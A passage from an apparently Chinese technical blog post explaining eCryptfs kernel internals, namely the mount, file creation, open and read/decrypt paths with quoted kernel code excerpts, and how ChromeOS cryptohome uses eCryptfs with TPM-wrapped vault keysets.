对象的成员,如global_default_cipher_name、global_default_cipher_key_size、flags、global_default_fnek_sig、global_default_fn_cipher_name、global_default_fn_cipher_key_bytes等; </li><li>调用函数ecryptfs_add_new_key_tfm()针对FEK和FNEK的加密算法分别初始化相应的kernel crypto tfm接口; </li><li>调用函数ecryptfs_init_global_auth_toks()将解析option后得到key sign做为参数利用keyring的request_key接口获取上层应用传入的auth token,并将auth token添加入struct ecryptfs_mount_crypt_stat 的全局链表中,供后续使用。<br>  接着为eCryptfs创建superblock对象并初始化,具体如下:通过函数sget()创建eCryptfs类型的superblock;调用bdi_setup_and_register()函数为eCryptfs的ecryptfs_sb_info 对象初始化及注册数据的回写设备bdi;初始化eCryptfs superblock对象的各成员,如s_fs_info、s_bdi、s_op、s_d_op等;然后获取当前挂载点的path并判断是否已经是eCryptfs,同时对执行者的权限做出判断;再通过ecryptfs_set_superblock_lower()函数将eCryptfs的superblock和当前挂载点上底层文件系统对应的VFS superblock产生映射关系;根据传入的mount option参数及VFS映射点superblock的值初始化eCryptfs superblock对象flag成员,如关键的MS_RDONLY属性;根据VFS映射点superblock的值初始化eCryptfs superblock对象的其他成员 ,如s_maxbytes、s_blocksize、s_stack_depth;最后设置superblock对象的s_magic为ECRYPTFS_SUPER_MAGIC。这可看出eCryptfs在Linux kernel的系统架构中,其依赖于VFS并处于VFS之下层,实际文件系统之上层。<br>  下一步到创建eCryptfs的inode并初始化,相应工作通过函数ecryptfs_get_inode()完成,具体包括:首先获取当前挂载点对应的VFS的inode;然后调用函数iget5_locked()在挂载的fs中获取或创建一个eCryptfs的inode,并将该inode与挂载点对应的VFS的inode建立映射关系,与superblock类似,eCryptfs的inode对象的部分初始值从其映射的VFS inode中拷贝,inode operation由函数ecryptfs_inode_set()发起初始化,根据inode是符号链接还是目录文件还是普通文件分别进行不同的i_op 赋值,如ecryptfs_symlink_iops/ecryptfs_dir_iops/ecryptfs_main_iops;同时对i_fop file_operations进行赋值,如ecryptfs_dir_fops/ecryptfs_main_fops 。<br>  然后调用d_make_root()函数为之前创建的superblock设置eCryptfs的根目录s_root。<br>  最后通过ecryptfs_set_dentry_private()函数为eCryptfs设置dentry。</li></ol><h3 id="加密文件creat过程-回页首"><a href="#加密文件creat过程-回页首" class="headerlink" title="加密文件creat过程 回页首"></a>加密文件creat过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-file-creat"></span></p><p>  creat过程特指应用层通过creat系统调用创建一个新的加密文件的流程。以应用程序通过creat()函数在以eCryptfs挂载的目录下创建加密文件为例,其函数调用流程如图六所示,creat()通过系统调用进入VFS,后经过层层函数调用,最终调用到eCryptfs层的ecryptfs_create()函数,该部分不属于eCryptfs的重点,不详述。</p><center>  图六 create经由VFS调用ecryptfs_create的流程<p><img src="/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/ecryptfs-create-func.png" alt title="图七"><br>图七 eCryptfs创建加密文件的函数调用过程</p></center><p>  eCryptfs层通过ecryptfs_create() 函数完成最终的加密文件的创建,关键代码的调用流程如图七所示,以代码做为视图,分为三大步骤:一、通过ecryptfs_do_create()函数创建eCryptfs 文件的inode并初始化;二、通过函数ecryptfs_initialize_file()将新创建的文件初始化成eCryptfs加密文件的格式,添加入诸如加密算法、密钥信息等,为后续的读写操作初始化好crypto接口;三、通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry。具体如下:<br>一.为新文件创建inode<br>  首先借助ecryptfs_dentry_to_lower()函数根据eCryptfs和底层文件系统(在chromeos里就是ext4)的映射关系获取到底层文件系统的dentry值。然后调用vfs_create()函数在底层文件系统上创建inode,紧接着利用__ecryptfs_get_inode()函数创建eCryptfs的inode 对象并初始化以及建立其与底层文件系统inode间的映射关系,之后通过fsstack_copy_attr_times()、fsstack_copy_inode_size()函数利用底层文件系统的inode对象的值初始化eCryptfs inode的相应值。<br>二.初始化eCryptfs新文件<br>  经过步骤一完成了在底层文件系统上新建了文件,现在通过函数ecryptfs_initialize_file()将该文件设置成eCryptfs加密文件的格式。 </p><ol><li>ecryptfs_new_file_context()函数完成初始化文件的context,主要包括加密算法cipher、auth token、生成针对文件加密的随机密钥等,这里使用的关键数据结构是struct ecryptfs_crypt_stat,具体如清单五所示,初始化文件的context基本可以看成是初始化struct ecryptfs_crypt_stat对象,该对象的cipher、auth token、key sign等值从mount eCryptfs传入的option并保存在struct ecryptfs_mount_crypt_stat (详见清单四)对象中获取。具体是:首先由ecryptfs_set_default_crypt_stat_vals()函数完成flags、extent_size、metadata_size、cipher、key_size、file_version、mount_crypt_stat等ecryptfs_crypt_stat对象的缺省值设置;然后再通过ecryptfs_copy_mount_wide_flags_to_inode_flags()函数根据mount时设置的ecryptfs_mount_crypt_stat的flags重新设置ecryptfs_crypt_stat对象flags;接着由ecryptfs_copy_mount_wide_sigs_to_inode_sigs()函数将mount时保存的key sign赋值给ecryptfs_crypt_stat对象的keysig_list中的节点对象中的keysig;然后继续将ecryptfs_mount_crypt_stat的cipher、key_size等值赋给ecryptfs_crypt_stat对象中的相应值;再调用函数ecryptfs_generate_new_key()生成key并保存到ecryptfs_crypt_stat对象的key;最后通过ecryptfs_init_crypt_ctx()函数完成kernel crypto context的初始化,如tfm,为后续的写操作时的加密做好准备。 </li><li>ecryptfs_get_lower_file()通过调用底层文件系统的接口打开文件,需要注意的是ecryptfs_privileged_open(),该函数唤醒了上文清单六提到kthread,借助该内核线程,eCryptfs巧妙避开了底层文件的读写权限的限制。 </li><li>ecryptfs_write_metadata()完成关键的写入eCryptfs文件格式到新创建的文件中。<br>  关键函数ecryptfs_write_headers_virt()的代码如清单七所示,eCryptfs保存格式如清单七的注释(也可参考上文的图四),其格式传承自OpenPGP,最后在ecryptfs_generate_key_packet_set()完成EFEK的生成,并根据token_type的类型是ECRYPTFS_PASSWORD还是ECRYPTFS_PRIVATE_KEY生成不同的OpenPGP的Tag,之后保存到eCryptfs文件头部bytes 26开始的地方。这里以ECRYPTFS_PASSWORD为例,因此bytes 26地址起存放的内容是Tag3和Tag11,对应着EFEK和Key sign。否则保存的是Tag1,即EFEK。Tag3或Tag1的具体定义详见OpenPGP的描述文档RFC2440.<br>  之后将生成的eCryptfs文件的头部数据保存到底层文件系统中,该工作由ecryptfs_write_metadata_to_contents()完成。 </li><li>最后通过ecryptfs_put_lower_file()将文件改动的所有脏数据回写入磁盘。<br>三.最后通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry,方便后续的读写操作。<h4 id="清单七-写入eCryptfs格式文件的关键函数"><a href="#清单七-写入eCryptfs格式文件的关键函数" class="headerlink" title="清单七 写入eCryptfs格式文件的关键函数"></a>清单七 写入eCryptfs格式文件的关键函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Format version: 1</span></span><br><span class="line"><span class="comment">* Header Extent:</span></span><br><span class="line"><span class="comment"> * Octets 0-7: Unencrypted file size (big-endian)</span></span><br><span class="line"><span class="comment"> * Octets 8-15: eCryptfs special marker</span></span><br><span class="line"><span class="comment"> * Octets 16-19: Flags</span></span><br><span class="line"><span class="comment"> * Octet 16: File format version number (between 0 and 255)</span></span><br><span class="line"><span class="comment"> * Octets 17-18: Reserved</span></span><br><span class="line"><span class="comment"> * Octet 19: Bit 1 (lsb): Reserved</span></span><br><span class="line"><span class="comment"> * Bit 2: Encrypted?</span></span><br><span class="line"><span class="comment"> * Bits 3-8: Reserved</span></span><br><span class="line"><span class="comment"> * Octets 20-23: Header extent size (big-endian)</span></span><br><span class="line"><span class="comment"> * Octets 24-25: Number of header extents at front of file (big-endian)</span></span><br><span class="line"><span class="comment"> * Octet 26: Begin RFC 2440 authentication token packet set</span></span><br><span class="line"><span class="comment"> * Data Extent 0: Lower data (CBC encrypted)</span></span><br><span class="line"><span class="comment"> * Data Extent 1: Lower data (CBC encrypted)</span></span><br><span class="line"><span class="comment"> * ...</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">ecryptfs_write_headers_virt</span><span class="params">(<span class="keyword">char</span> *page_virt, <span class="keyword">size_t</span> <span class="built_in">max</span>,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">size_t</span> *<span class="built_in">size</span>,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct ecryptfs_crypt_stat *crypt_stat,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct dentry *ecryptfs_dentry)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> rc;</span><br><span class="line"><span class="keyword">size_t</span> written;</span><br><span class="line"><span class="keyword">size_t</span> offset;</span><br><span class="line"></span><br><span class="line">offset = ECRYPTFS_FILE_SIZE_BYTES;</span><br><span class="line">write_ecryptfs_marker((page_virt + offset), &written);</span><br><span class="line">offset += written;</span><br><span class="line">ecryptfs_write_crypt_stat_flags((page_virt + offset), crypt_stat,</span><br><span class="line">&written);</span><br><span class="line">offset += written;</span><br><span class="line">ecryptfs_write_header_metadata((page_virt + offset), crypt_stat,</span><br><span class="line"> &written);</span><br><span class="line">offset += written;</span><br><span class="line">rc = ecryptfs_generate_key_packet_set((page_virt + offset), crypt_stat,</span><br><span class="line"> ecryptfs_dentry, &written,</span><br><span class="line"> <span class="built_in">max</span> - offset);</span><br><span class="line">…</span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ol><h3 id="加密文件open过程-回页首"><a href="#加密文件open过程-回页首" class="headerlink" title="加密文件open过程 回页首"></a>加密文件open过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-file-open"></span></p><p>  这里open过程主要指通过open系统调用打开一个已存在的加密文件的流程。当应用程序在已完成eCryptfs挂载的目录下open一个已存在的加密文件时(这里以普通文件为例),其系统调用流程如图八所示,经由层层调用后进入ecryptfs_open()函数,由其完成加密文件的metadata分析,然后取出EFEK并使用kernel crypto解密得到FEK。另外在文中”create过程”分析时,着重介绍了创建eCryptfs格式文件的过程,省略了在完成lookup_open()函数调用后的vfs_open()的分析,它与这里介绍的vfs_open()流程是一样的。需要特别指出的是在do_dentry_open函数里初始化了struct file的f_mapping成员,让其指向inode->i_mapping;而在上图五的inode的创建函数ecryptfs_inode_set中存在”inode->i_mapping->a_ops = &ecryptfs_aops”的赋值语句,这为后续的加密文件的页读写时使用的关键对象struct address_space_operations a_ops做好了初始化。<br>  下面重点介绍ecryptfs_open()函数,其主要的函数调用关系如图九所示。eCryptfs支持Tag3和Tag1的形式保存EFEK,这里的分析默认是采用了Tag3的方式。</p><center>  图八 create经由VFS调用ecryptfs_create的流程<p><img src="/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/ecryptfs-open-func.png" alt title="图九"><br>图九 eCryptfs创建加密文件的函数调用过程</p></center><p>  ecryptfs_open()函数的完成的主要功能包括读取底层文件,分析其文件头部的metadata,取出关键的EFEK及key sign,之后根据key sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token,再调用kernel crypto解密EFEK得到FEK,最后将FEK保存到ecryptfs_crypt_stat的key成员中,完成ecryptfs_crypt_stat对象的初始化,供后续的文件加解密使用。具体如下: </p><ol><li>ecryptfs_set_file_private()巧妙的将struct ecryptfs_file_info保存到struct file的private_data中,完成VFS和eCryptfs之间的链式表达及映射; </li><li>ecryptfs_get_lower_file()借助kthread 内核线程巧妙的获取到底层文件的RW权限; </li><li>ecryptfs_set_file_lower()完成struct ecryptfs_file_info的wfi_file和底层文件系统文件lower_file之间的映射; </li><li>read_or_initialize_metadata()完成了ecryptfs_open的大部分功能,首先通过ecryptfs_copy_mount_wide_flags_to_inode_flags()从文件对应的ecryptfs_mount_crypt_stat中拷贝flags对ecryptfs_crypt_stat的flags进行初始化;之后使用函数ecryptfs_read_lower()读取文件的头部数据,紧接着利用ecryptfs_read_headers_virt()进行数据分析和处理,包括:<br>1) 利用ecryptfs_set_default_sizes()初始化ecryptfs_crypt_stat对象的extent_size、iv_bytes、metadata_size等成员的默认值;<br>2) 使用ecryptfs_validate_marker()校验文件的marker标记值是否符合eCryptfs文件格式;<br>3) 通过ecryptfs_process_flags()取出文件metadata保存的flag并修正ecryptfs_crypt_stat对象成员flags的值,同时初始化对象成员file_version;<br>4) 在parse_header_metadata()分析文件的metadata的大小并保存到ecryptfs_crypt_stat对象成员metadata_size;<br>5) 通过ecryptfs_parse_packet_set()解析Tag3和Tag11的OpenPGP格式包,获取EFEK及key sign,后根据key sign匹配到auth token,再调用kernel crypto解密EFEK得到FEK。对应的代码实现逻辑是:parse_tag_3_packet()解析Tag3,获取EFEK和cipher,同时将cipher保存到ecryptfs_crypt_stat对象成员cipher;parse_tag_11_packet()解析出key sign,保存到auth_tok_list链表中;ecryptfs_get_auth_tok_sig()从auth_tok_list链表中获取到key sign;然后通过ecryptfs_find_auth_tok_for_sig()根据key sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token;再利用decrypt_passphrase_encrypted_session_key()使用分析得到的auth token、cipher解密出FEK,并将其保存在ecryptfs_crypt_stat的key成员;之后在ecryptfs_compute_root_iv()函数里初始化ecryptfs_crypt_stat的root_iv成员,在ecryptfs_init_crypt_ctx()函数里初始化ecryptfs_crypt_stat的kernel crypto接口tfm。至此,ecryptfs_crypt_stat对象初始化完毕,后续文件在读写操作时使用到的加解密所需的所有信息均在该对象中获取。</li></ol><h3 id="加密文件read过程-回页首"><a href="#加密文件read过程-回页首" class="headerlink" title="加密文件read过程 回页首"></a>加密文件read过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-file-read"></span></p><p>  read过程指应用程序通过read()函数在eCryptfs挂载的目录下读取文件的过程。因为挂载点在挂载eCryptfs之前可能已经存在文件,这些已存在的文件属于非加密文件,只有在完成eCryptfs挂载后的文件才自动保存成eCryptfs格式的加密文件,所以读取文件时需要区分文件是否属于加密文件。从应用程序发起read()操作到eCryptfs层响应的函数调用关系流程图如十所示,读取时采用page read的机制,涉及到page cache的问题,图中以首次读取文件,即文件内容还没有被读取到page cache的情况为示例。自ecryptfs_read_update_atime()起进入到eCryptfs层,由此函数完成从底层文件系统中读取出文件内容,若是加密文件则利用kernel crypto和open时初始化好的ecryptfs_crypt_stat对象完成内容的解密,之后将解密后的文件内容拷贝到上层应用程序,同时更新文件的访问时间,其中touch_atime()完成文件的访问时间的更新;generic_file_read_iter()函数调用内核函数do_generic_file_read(),完成内存页的申请,并借助mapping->a_ops->readpage()调用真正干活的主力ecryptfs_readpage()来完成解密工作,最后通过copy_page_to_iter()将解密后的文件内容拷贝到应用程序。到了关键的解密阶段,描述再多也不如代码来的直观,ecryptfs_readpage()的核心代码如清单八、九、十所示。</p><center>  图十 create经由VFS调用ecryptfs_create的流程</center><h4 id="清单八-ecryptfs-readpage-关键代码"><a href="#清单八-ecryptfs-readpage-关键代码" class="headerlink" title="清单八 ecryptfs_readpage()关键代码"></a>清单八 ecryptfs_readpage()关键代码</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">ecryptfs_readpage</span><span class="params">(struct file *file, struct page *page)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_crypt_stat</span> *<span class="title">crypt_stat</span> =</span></span><br><span class="line"><span class="class">&<span class="title">ecryptfs_inode_to_private</span>(<span class="title">page</span>-><span class="title">mapping</span>-><span class="title">host</span>)-><span class="title">crypt_stat</span>;</span></span><br><span class="line"><span class="keyword">int</span> rc = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!crypt_stat || !(crypt_stat->flags & ECRYPTFS_ENCRYPTED)) {</span><br><span class="line"> </span><br><span class="line"><span class="comment">//读取非加密文件</span></span><br><span class="line">rc = ecryptfs_read_lower_page_segment(page, page->index, <span class="number">0</span>,</span><br><span class="line"> PAGE_CACHE_SIZE,</span><br><span class="line"> page->mapping->host);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (crypt_stat->flags & ECRYPTFS_VIEW_AS_ENCRYPTED) {</span><br><span class="line"></span><br><span class="line"><span class="comment">//直接读取密文给上层,此时应用程序读到的是一堆乱码</span></span><br><span class="line"><span class="keyword">if</span> (crypt_stat->flags & ECRYPTFS_METADATA_IN_XATTR) {</span><br><span class="line">rc = ecryptfs_copy_up_encrypted_with_header(page, crypt_stat);</span><br><span class="line">…</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">rc = ecryptfs_read_lower_page_segment(</span><br><span class="line">page, page->index, <span class="number">0</span>, PAGE_CACHE_SIZE,</span><br><span class="line">page->mapping->host);</span><br><span class="line">…</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"></span><br><span class="line"><span class="comment">//读取密文并调用kernel crypto解密</span></span><br><span class="line">rc = ecryptfs_decrypt_page(page);</span><br><span class="line">…</span><br><span class="line">}</span><br><span class="line">…</span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="清单九-ecryptfs-decrypt-page-核心代码"><a href="#清单九-ecryptfs-decrypt-page-核心代码" class="headerlink" title="清单九 ecryptfs_decrypt_page()核心代码"></a>清单九 ecryptfs_decrypt_page()核心代码</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">ecryptfs_decrypt_page</span><span class="params">(struct page *page)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">…</span><br><span class="line">ecryptfs_inode = page->mapping->host;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取包含有FEK、cipher、crypto context tfm信息的ecryptfs_crypt_stat</span></span><br><span class="line">crypt_stat = &(ecryptfs_inode_to_private(ecryptfs_inode)->crypt_stat);</span><br><span class="line"></span><br><span class="line"><span class="comment">//计算加密文件内容在底层文件中的偏移</span></span><br><span class="line">lower_offset = lower_offset_for_page(crypt_stat, page);</span><br><span class="line">page_virt = kmap(page);</span><br><span class="line"></span><br><span class="line"><span class="comment">//利用底层文件系统的接口读取出加密文件的内容</span></span><br><span class="line">rc = ecryptfs_read_lower(page_virt, lower_offset, PAGE_CACHE_SIZE, ecryptfs_inode);</span><br><span class="line">kunmap(page);</span><br><span class="line"> …</span><br><span class="line"><span class="keyword">for</span> (extent_offset = <span class="number">0</span>;</span><br><span class="line"> extent_offset < (PAGE_CACHE_SIZE / crypt_stat->extent_size);</span><br><span class="line"> extent_offset++) {</span><br><span class="line"></span><br><span class="line"><span class="comment">//解密文件内容</span></span><br><span class="line">rc = crypt_extent(crypt_stat, page, page,</span><br><span class="line"> extent_offset, DECRYPT);</span><br><span class="line">…</span><br><span class="line">}</span><br><span class="line">…</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="清单十-crypt-extent-核心加解密函数的关键代码"><a href="#清单十-crypt-extent-核心加解密函数的关键代码" class="headerlink" title="清单十 crypt_extent()核心加解密函数的关键代码"></a>清单十 crypt_extent()核心加解密函数的关键代码</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">crypt_extent</span><span class="params">(struct ecryptfs_crypt_stat *crypt_stat,</span></span></span><br><span class="line"><span class="function"><span class="params">struct page *dst_page,</span></span></span><br><span class="line"><span class="function"><span class="params">struct page *src_page,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="keyword">unsigned</span> <span class="keyword">long</span> extent_offset, <span class="keyword">int</span> op)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="comment">//op 指示时利用该函数进行加密还是解密功能</span></span><br><span class="line"><span class="keyword">pgoff_t</span> page_index = op == ENCRYPT ? src_page->index : dst_page->index;</span><br><span class="line"><span class="keyword">loff_t</span> extent_base;</span><br><span class="line"><span class="keyword">char</span> extent_iv[ECRYPTFS_MAX_IV_BYTES];</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">src_sg</span>, <span class="title">dst_sg</span>;</span></span><br><span class="line"><span class="keyword">size_t</span> extent_size = crypt_stat->extent_size;</span><br><span class="line"><span class="keyword">int</span> rc;</span><br><span class="line"></span><br><span class="line">extent_base = (((<span class="keyword">loff_t</span>)page_index) * (PAGE_CACHE_SIZE / extent_size));</span><br><span class="line">rc = ecryptfs_derive_iv(extent_iv, crypt_stat,</span><br><span class="line">(extent_base + extent_offset));</span><br><span class="line">…</span><br><span class="line">sg_init_table(&src_sg, <span class="number">1</span>);</span><br><span class="line">sg_init_table(&dst_sg, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">sg_set_page(&src_sg, src_page, extent_size,</span><br><span class="line"> extent_offset * extent_size);</span><br><span class="line">sg_set_page(&dst_sg, dst_page, extent_size,</span><br><span class="line"> extent_offset * extent_size);</span><br><span class="line"></span><br><span class="line"><span class="comment">//调用kernel crypto API进行加解密</span></span><br><span class="line">rc = crypt_scatterlist(crypt_stat, &dst_sg, &src_sg, extent_size, extent_iv, op);</span><br><span class="line">…</span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>  理顺了mount、open的流程,知道FEK、cipher、kernel crypto context的值及存放位置,同时了解了加密文件的格式,解密的过程显得比较简单,感兴趣的同学可以继续查看crypt_scatterlist()的代码,该函数纯粹是调用kernel crypto API进行加解密的过程,跟eCryptfs已经没有关系。</p><h3 id="加密文件write过程-回页首"><a href="#加密文件write过程-回页首" class="headerlink" title="加密文件write过程 回页首"></a>加密文件write过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-file-write"></span></p><p>  eCryptfs 文件write的流程跟read类似,在写入lower file前先通过ecryptfs_writepage()函数进行文件内容的加密,这里不再详述。</p><h2 id="ChromeOS使用eCryptfs的方法及流程-回页首"><a href="#ChromeOS使用eCryptfs的方法及流程-回页首" class="headerlink" title="ChromeOS使用eCryptfs的方法及流程 回页首"></a>ChromeOS使用eCryptfs的方法及流程 <a href="#top">回页首</a></h2><p><span id="ecryptfs-in-chromeos"></span></p><p>  Chromeos在保护用户数据隐私方面可谓不遗余力,首先在系统分区上专门开辟出专用于存储用户数据的stateful partition,当用户进行正常和开发者模式切换时,该分区的数据将会被自动擦除;其次该stateful partition的绝大部分数据采用dm-crypt进行加密,在系统启动时用户登录前由mount-encrypted完成解密到/mnt/stateful_partition/encrypted,另外完成以下几个mount工作:将/Chromeos/mnt/stateful_partition/home bind mount 到/home;将/mnt/stateful_partition/encrypted/var bind mount到/var目录;将/mnt/stateful_partition/encrypted/chromos bind mount 到/home/chronos。最后在用户登录时发起对该用户私有数据的eCryptfs加解密的流程,具体工作由cryptohomed守护进程负责完成,eCryptfs加密文件存放在/home/.shadow/[salted_hash_of_username]/vault目录下,感兴趣的读者可通过ecryptfs-stat命令查看其文件状态和格式,mount点在/home/.shadow/[salted_hash_of_username]/mount,之后对/home/.shadow/[salted_hash_of_username]/mount下的user和root建立bind mount点,方便用户使用,如将/home/.shadow/[salted_hash_of_username]/mount/user bind mount到/home/user/[salted_hash_of_username]和/home/chronos/u-[salted_hash_of_username] ;将/home/.shadow/[salted_hash_of_username]/mount/root bind mount到/home/root/[salted_hash_of_username]。用户在存取数据时一般是对目录/home/chronos/u-[salted_hash_of_username]进行操作。<br>  eCryptfs在Chromeos中的应用架构如图十所示。系统启动后开启cryptohomed的守护进程,由该进程来响应eCryptfs的挂载和卸载等,进程间采用D-Bus的方式进行通信,cryptohome应用程序主用于封装用户的动作命令,后通过D-Bus向cryptohomed发起请求。如可通过cryptohome命令”cryptohome -–action=mount -–user=[account_id]”来发起eCryptfs的挂载;通过命令”cryptohome -–action=unmount”卸载eCryptfs的挂载,执行成功此命令后,用户的所有个人数据将无法访问,如用户先前下载的文件内容不可见、安装的应用程序不可使用,/home/.shadow/[salted_hash_of_username]/mount内容为空。</p><center>  图十一 eCryptfs在Chromeos中的架构图</center><p>  cryptohomed特色的mount流程如下: </p><ol><li>cryptohomed在D-Bus上接收到持(包含用户名和密码)有效用户证书的mount请求,当然D-Bus请求也是有权限控制的; </li><li>假如是用户首次登陆,将进行:<br>a. 建立/home/.shadow/[salted_hash_of_username]目录,采用SHA1算法和系统的salt对用户名进行加密,生成salted_hash_of_username,简称s_h_o_u;<br>b. 生成vault keyset /home/.shadow/[salted_hash_of_username]/master.0和/home/.shadow/[salted_hash_of_username]/master.0.sum。 master.0加密存储了包含有FEK和FNEK的内容以及非敏感信息如salt、password rounds等;master.0.sum是对master.0文件内容的校验和。 </li><li>采用通过mount请求传入的用户证书解密keyset。当TPM可用时优先采用TPM解密,否则采用Scrypt库,当TPM可用后再自动切换回使用TPM。cryptohome使用TPM仅仅是为了存储密钥,由TPM封存的密钥仅能被TPM自身使用,这可用缓解密钥被暴力破解,增强保护用户隐私数据的安全。TPM的首次初始化由cryptohomed完成。这里默认TPM可正常使用,其解密机制如下图十二所示,其中:<br>UP:User Passkey,用户登录口令<br>EVKK:Ecrypted vault keyset key,保存在master.0中的”tpm_key”字段<br>IEVKK:Intermediate vault keyset key,解密过程生成的中间文件,属于EVKK的解密后产物,也是RSA解密的输入密文<br>TPM_CHK: TPM-wrapped system-wide Cryptohome key,保存在/home/.shadow/cryptohome.key,TPM init时加载到TPM<br>VKK:Vault keyset key<br>VK:Vault Keyset,包含FEK和FNEK<br>EVK:Encrypted vault keyset,保存在master.0里”wrapped_keyset”字段<br>图十二中的UP(由发起mount的D-Bus请求中通过key参数传入)做为一个AES key用于解密EVKK,解密后得到的IEVKK;然后将IEVKK做为RSA的密文送入TPM,使用TPM_CHK做为密钥进行解密,解密后得到VKK;最后生成的VKK是一个AES key,用于解密master.0里的EVK,得到包含有FEK和FNEK明文的VK。经过三层解密,终于拿到关键的FEK,那么问题来了,Chromeos的FEK的保存及解密流程与上文介绍的eCryptfs时不一致,FEK不应该是open时从加密文件的头部metadata里的EFEK中解密出来的么?不过一次解密出FEK,全局使用,效率的确比每次读取文件时解析FEK高很多,之后通过key的系统调用将key传入内核的keyring,使用时通过key sign匹配。最后跟上文所述实属异曲同工。 </li><li>通过mount系统调用传入option完成挂载。<br>该部分与正常的Linux做法一致,在mount的option里传入关键的cipher、key sign、key bytes等信息。</li></ol><center>  图十二 TPM解密VK的流程</center><h2 id="结语-回页首"><a href="#结语-回页首" class="headerlink" title="结语 回页首"></a>结语 <a href="#top">回页首</a></h2><p><span id="end"></span></p><p>  ecryptfs建立在系统安全可信的基础上,保护用户数据的安全,核心基础组件是加密密钥,若在内核被攻破后密钥被通过某些手段窃取,ecryptfs的安全性将同样被攻破。另外page 